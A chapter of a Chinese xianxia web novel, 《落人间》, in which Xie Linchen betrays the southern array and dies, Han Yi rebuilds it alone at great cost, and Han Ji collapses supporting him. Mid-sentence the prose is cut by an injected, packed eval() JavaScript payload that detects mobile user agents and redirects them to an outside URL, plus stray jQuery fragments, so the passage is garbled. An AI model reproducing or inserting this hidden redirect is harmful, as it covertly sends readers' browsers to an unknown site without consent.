39.36-决战

作品:《落人间

    寒仪陪寒辞远在洞府内度过了三个月,在那段时间里,外界正发生着翻天覆地的变化。


    仙历七十六纪,早已飞升了数万年的“道祖”复生,这些年里他不断变换身份,以“怀柔”为道号游走世间,也是声名大祚。现在却为了铸就魔神之位,引赤渡爆发,煞气失控,各族协力毁灭赤渡。


    四境八地,各守大阵,铸就防线,疏导山河怨气。


    寒仪被带走后,堂溪安作为新任渡生轩掌门为寒仪罪行平反,惘生域及渡生轩得以脱离“叛徒”之罪,共参大战。


    南域战场属火,此方大阵需有一位至纯道心的火种修士为阵心护持。难怪那时幕后之人既撇走了寒仪,又拐了谢临尘。


    一个有着至高火法,一个身怀择主道心。


    现下寒仪行踪不定,即使也有人提议搜寻寒仪的下落,但毕竟牵扯着百年变故,就算目前寒仪洗脱了大部分的罪行,但坐镇阵心一事,还是不可大意。且不说时间紧迫,调查仓促,真把寒仪找到了,谁知道最后那具壳子下到底会是那剑灵还是他本人?


    至少谢临尘还在。


    深谷一行虽对谢临尘道心有所侵蚀,但大敌当前,集整个南域之力勉强在战前将谢临尘道心修复,让他得以立于阵心。


    玄央门所领阵地下。


    “长老,掌门他——”玄央门一名弟子冒冒失失闯进了营中。


    “他在阵心出事了?”萨那尔好生休养后,在决战前堪堪能领事。好不容易安顿好一切,又听弟子报意外,真是头都大了。


    毕竟现在人人都道玄央门出了个好掌门,几乎不用去战场前线卖命,只需退守后方。比起其余门派来说,玄央门已是整个南域里最轻松的那个,若再闹出什么事端实在是说不过去。


    “没——只是,只是他将自己封在了阵心!”


    “他又在耍什么小脾气!”萨那尔不耐烦地往阵心走去。


    阵心外喧闹已久,谢临尘却在阵心内悠悠擦着自己的佩剑。


    “临尘,你在搞什么花样!”


    谢临尘依旧是一副看淡一切的神色,只是如今,剑光反照,镜面里还有一个他,藏着自毁的疯狂:“萨那尔,我在想,赤渡爆发,怨气如洪流倾泻,你说,这些怨气里,是否有我阿爹阿娘一份呢?”


    “你现在提那些事做什么!别忘了你爹娘的凶手早在几百年前就已经被诛杀,他们已经付出了代价!”听谢临尘忽然又提起了往事,那件事他终究是受害者,萨那尔只能安抚。


    “凶手……”谢临尘喃喃道,“我不需要他们死……


    谢临尘现在的状态让萨那尔有些熟悉,萨那尔压着不安的回忆提醒:“他们死了,是他们罪有应得,你可莫要再做什么冲动的事!”


    当年谢临尘在行刑前夕,潜入地牢,用邪术拘禁了那场案件里所有人的灵魂,险些将那些人的魂魄全部焚烧殆尽。


    修真者审判凡人,夺凡人生死已是极限,谢临尘那等行径自是不为灵修界所容。


    索性发现及时,还未进行到最后一步。玄央门将所有痕迹覆灭,这件事才未外传。


    只是谢临尘动邪术时,道心已然动摇,他们将其关于洞府数十年让他自行冷静,谢临尘出洞府后道心恢复如旧,他们才相信谢临尘已经彻底想明白了,这事也就过去了,现在谢临尘又是什么意思?


    “罪有应得……”谢临尘重复了一句,但手下却忽然一用力,血沾湿了绢布,“罪有应得???”


    他发出了一声笑,只是那个笑声破了声,显得更为悲苦:“你告诉我什么叫罪有应得?一群人坐在上位,审判罪人,最后目送他们一场轰轰烈烈的死亡,这也配叫罪有应得?那同样是死,我的父母,他们死前遭受的恐惧、痛苦、无助、绝望、又算得了什么!!!”


    “他们用那稀烂的一生换了我父母的生死,他们尚且留有轮回我爹娘却不再有来生!你告诉我阿爹阿娘的道、与命只值他们那几十年寿数?萨那尔!这便是‘应得’吗?”


    “这个世界对怨的包容太小了,倘若邪恶的终止就是死亡,善良的终止也是死亡,那你告诉我,邪恶和善良有什么区别!”


    谢临尘掀了平静,质问着:“我不过就是想要一个公平,想让这个世界的怨有所偿,想让我阿爹阿娘的死有所安慰,又有什么错?”


    “那你还想如何?!”萨那尔忽然感觉一条埋在暗中的线将要被扯出,却仍抱有最后的希望。


    谢临尘顾自言语,既是告诉着萨那尔,也是告诉自己:“赤渡怨气并非生来就有,魔族也非天生,而是积攒了人间太多未能安息的怨气,无法消解,不能解脱,待到如今,赤渡爆发,如何不是还这几万年来,那些无法安息的灵魂一个解脱?”


    他下了结论,拯救着几百年前的自己:“你们不能给我的,我便自己争。自己争不到的,谁能帮我争到,我便帮谁做事,管他是人是鬼,是妖是魔,这很难理解吗?”


    “当时是你!”论萨那尔如何不敢接受,谢临尘话已至此,他也再也无法逃避这个事实。


    真正背叛人族的,除了怀柔,还有谢临尘。


    南域战场属火一事事先只有怀柔那厮知道,怀柔活了几万年,怎会看不出寒临底下,是南域火法的至高者寒仪?为了让和他串通好的谢临尘稳坐阵心之位,他们设计了落日深谷一事将寒临,或者说寒仪清出了局。


    萨那尔身上的毒是谢临尘趁机种下的,地心一事他们也早就计划好了。那时由于寒辞远的加入,破局比预料当中快了许多,他们将出深谷。可谷外“唱戏的人”还未就位,于是谢临尘便在他们走之前又搞了鬼爪那一出拖住他们的脚步。


    整个过程,谢临尘明面上从未参与,倒是把自己包装成一个受害者摘得干干净净,最后如愿以道心择主的资质坐上了阵心之位。


    萨那尔警告着:“谢临尘,你若真敢动阵心,便是十恶不赦,万劫不复!”


    这份警告在谢临尘看来显然是可笑的:“你们若是觉得我十恶不赦,那么——你们便来杀了我,我死后,一笔勾销,这不就是你们所说的罪有应得吗?”


    他原有的道心早在被关入洞府后的第一年彻被底侵蚀,一夜之间颠覆道心,几十年的闭关足够让他重新以原来的修为走出来,出来的时候,他早就不是原来那个谢临尘了。


    “现在,我就来给你们赎罪。”谢临尘露出一个疯狂的笑,随即,剑起,血落,干脆利索。


    世界仿佛都静了下来,接着,整个大阵便开始爆发暴乱。


    谢临尘身死后,阵心无所护持,染上杀气,阵法即刻从内部四分五裂。


    无法控制的煞气瞬间变成了成型的鬼怪和魔,在内部大杀四方。


    但无人敢退。


    若退,身后也是万丈深渊,就算是死,也要等到支援赶来。


    这片战场中,越来越多的人开始力不从心,声声呼叫都散发着绝望的气息。


    -


    洞府内的寒仪在不知度过了多少日夜后,也许是先前混乱的功法终于在体内稳定了下来,寒仪不再是浑浑噩噩的状态,他开始回神。


    他是火种修士,只靠他的灵力并不能很好地维持死去修士的躯体。他想,他要找一个冰晶大能,为辞远打造一个冰棺,他要留下辞远。


    寒仪施下灵术,暂保寒辞远肉身无恙,然后说:“阿远,等我回来。”


    可他一出洞府,便发现外面,似乎变天了。


    寒辞远找的地方足够隐蔽,外设重重保险,他竟不知,外界已混乱成这样。


    他先是去了一趟落日神谷,发现深谷已然荒废,寒迹也不在里面。


    接着,他又顺着灵气最浓郁的地方而行,穿过了一个结界。


    一墙之隔,将人间与炼狱区分。


    尸骸遍野的白日惨剧骤然撞入寒仪眼中,血腥的浓烈冲击得鼻腔发疼。


    鲜红的血下,他双目即刻陷入空洞。根根断肢横于地面,辞远那被牵枢拉折的手再次浮现于前。恶鬼啃食,血肉撕碎,他仿佛听到脑中识海被翻绞的声音,不断刺激着他这些天以来不得宣泄的悲痛。


    几乎是下意识的,无数道剑气便横扫地面,剑气的主人以一种精妙到可怕的操控能力将淹没在魔族和鬼怪中的修士分隔开。


    一些人被鬼怪缠身,眼看着就要承受致命一击,却忽然身上一轻。再一看,身上的影子被剑气划破,戾息从刀口散发,渐渐消散,而自己身上却连衣服都完好无损。


    众修士终于有喘息的时机,抬头一看,寒仪捏着剑决,一脸肃杀看着地面。


    “是谨生剑!”


    “寒礼……他……他回来了?”


    虽然寒仪罪行刚被洗脱,偏见尤未散尽,可现在的他对所有人而言都是救世主。连往常最不屑地讨论过寒仪的那些人看着寒仪如今的风华,都看晃了眼。


    “寒……寒掌门!”场面暂时控制住后,终于有人开始为大局考虑了起来,“阵法!当务之急是恢复阵法啊!”


    寒仪此刻浑身灵息以肉眼可见的规模向外溢散着光芒,估计所有人里现在还有能力能进结界补阵就只有他了。


    寒仪扫了一眼破碎的阵法,虽不明情况,但他还是无视着结界走了进去,一股灵流打在阵法中央,阵法上的文字再次发出熠熠光芒。


    火法灼灼,构建阵心所需的火灵被瞬间灌满,多出的灵力覆盖至整个南域,修补疏导怨气的地脉断缺之处。


    下面的人看的目瞪口呆:原本只需寒仪拖住阵法的崩溃进度,等到支援再进行修补,没想到他居然打算凭借一己之力将此地阵法重构。


    就算他是寒仪,是不是也太不现实了一些?


    然而灵力如洪水般倾泻出去的寒仪却浑然不觉异常,他近乎以一种自我惩戒的态度压榨着自己的灵力。


    谨生谱突破后,自己身上的灵脉便仿佛不属于自己了一般,陌生但又前所未有的强大。


    如今这些年一直积累的实力被他豪不吝惜地挥霍着,即使知道这样下去后果如何他也依旧不打算停歇:他现在的修为是踩着辞远的尸体上去的,若是能在此处,在这个灰白的战场,发挥出最大的价值,也是他最好的结局。


    “师兄——”一个声音破空而出,寒仪一惊,往下看去,是寒迹。


    寒迹自深谷出去后,一直在暗中探寻寒辞远灵流的迹象。但寒辞远只说为后续计划寻了一个隐蔽的洞府,却未曾告知地点,他也始终未能找到二人踪迹。


    直到不久前。


    他跟随着灵流来到了这里,却只看到了寒仪。


    他一眼就看出了寒仪身上的变化。


    能在短时间内让辞远身上的谨生谱出现在师兄身上,只有一种可能。


    辞远他!


    难怪辞远瞒着他,想来也是怕他陷入


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15616863|171526||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    为难之境。而今从辞远带走师兄,不过短短三个月,也就是说,赐道刚刚完成,新的功法在体内还未运转成熟,现在就这样不要命地挖空自己灵脉,这是往废了自己的方向去行事!


    这样下去轻则修为大跌,落下痼疾,重则丧命。


    他召出木灵,向寒仪身上袭去:“师兄你先缓缓,补阵的事等援兵也不迟。”


    寒仪却没有丝毫动摇的意思:“无痕,松开。”


    时隔几百年,再次听见师兄叫那个名字,寒迹不禁眼眶一红:“师兄,我不要!”


    “师兄,想想辞远,这样下去辞远做的不都成徒劳了吗?”


    寒迹不说还好,一说寒仪那已经麻木的痛苦再次袭了上来,切割着他的视线。他看着自己此时手中的灵光,有些恍惚。


    辞远……这是阿远的……


    他压下几欲破口的情绪,灵力卷着悲恸向外倾倒,嘈杂被体内涌出的波涛淹没。


    阵法再度爆发出一个可怕的亮度,上面的文字也加快了浮动的速度。巨浪以寒仪为中心推出,战场上残余的群魔纷纷被压制,更有部分直接被灼得烟消云散。


    寒迹怔住了。他无声苦笑:到头来,自己又帮了倒忙。


    他知道即使上去帮忙也不能拦下师兄,辞远尚且能做到那个地步,自己可不能再不争气了。


    他手指微动,寒仪身上的木灵转变为血色。


    他在半空愣愣地看着寒仪。


    他的师兄啊……本就是一道光,被那么多恶意遮挡了那么多年,现在又绽放了他的光芒。


    曾经,他困苦于皓彩入凡,却无人在意。


    他也想多自私一些,守明月在侧,不见他乡。


    可后来,他渐渐明白,独居是清冷的仙庭,终究惶恐于来日天恩不赐,断舍人间。故而,任人间过客来来往往,共沾此晖。


    自己虽然无意照亮别人,可他想要陪着这道光,就不在意最后的结果。


    不知道过了多久,他的目光开始泛着鲜红的影子,他努力眨了眨眼,却发现视线更加模糊了。


    嘴里的腥甜泛得寒迹皱了眉头,眼前恍惚过很多忽明忽暗的片段。


    “无痕小公子,您还是少出去带这些点心吧,这些吃食门内的厨子也不是不能做啊。”


    “胡说,他们哪懂得。”


    “您这样掌门发现了又得斥责了。”


    “怕阿爹做什么,阿爹净会唬人!”


    “若是寒礼公子见着掌门不高兴,也是得皱眉的啊!”


    “瞎说,师兄知道我喜欢的,怎么会拦着我,肯定还想着法子给我带!”


    “是啊。”随侍见劝不动寒迹,无奈应和道,“寒礼公子上回还去谦芳斋想取糕点的方子,可那是人家祖传的秘方,就算寒礼公子对他们有大恩他们也不肯让他交给门内厨子,说是只让寒礼公子自己知道。您也知道,寒礼公子绝对不会失信于人。这不,有人看见寒礼公子进厨房了。”


    “啊,啊?不是假话啊……” 他好像是听说了什么师兄做糕点的传言,只是他没信。


    “是啊。”随侍见寒迹似乎有些动摇,再次应和,“不过上次好像没研究出什么,据说寒礼公子把做出来的吃的给烧了。您再这般表现出喜欢的样子,没准寒礼公子又得近庖厨了,到时候传到掌门那,寒礼公子可得……”


    再一眨眼,寒迹看见了寒仪。


    他讷讷地说着:“师兄,谦芳斋的糕点我吃腻了。不想再吃了。”


    嗯,不想再吃了。


    一点也不好吃。


    寒迹吞下了口中的那股甜味:确实。


    天边又起几道光亮,江何意和温知与领着人进入了结界。


    江何意眼尖,一剑下去先将连在寒仪身上的木灵自半空中斩断,可寒迹的木灵依旧执着地卷了上去,看得江何意皱了皱鼻尖,弃了插手的念头。


    “师兄!”温知与也在路上就看到了场下的混乱,扯着寒仪,“你先缓缓!”


    只是寒仪陷得太深,意识仍与外界断绝着。江何意冷声道:“寒掌门再撑下去,无痕师兄便撑不下去了!”


    无痕!江何意一语惊醒寒仪,周身覆满陌生灵息的他终于发现了灵脉中那些既不属于自己,也不属于辞远的灵流。


    他难以置信地顺着木灵向下看去,只见木灵的另外一端,寒迹半跪在长于半空的灵木上,七窍流血,摇摇欲坠。


    无痕……无痕……


    他一把扯断了身上的木灵,跌跌撞撞地跑向寒迹身边。


    悲恸下,周遭的环境再混乱也映不入寒仪眼中,耳边嗡嗡作响,这一片天地的颜色全部褪去,只剩下寒迹七窍中溢出的鲜红。


    师弟……不要这样……不要再为了我离开……求你了……


    随着消息的传播,医修也陆续赶来,此时寒仪正向寒迹灵脉中持续不断地输入灵力。


    医修探查了一下寒迹的状况,叹了口气,用丹药先应急。


    不过寒仪的状态看着也不大好,那名医修不禁出言提醒:“寒掌门不必如此。”


    这种情况不是靠渡灵气可以填补的。


    但寒仪此时看着也不像听的进去的样子。


    作为一名合格的医修,他也不是没看出寒仪精神上的波动。


    唉,“得罪了。”他一拂手,袖中的失魂散便扑向了寒仪,寒仪视线一暗,陷入了昏迷。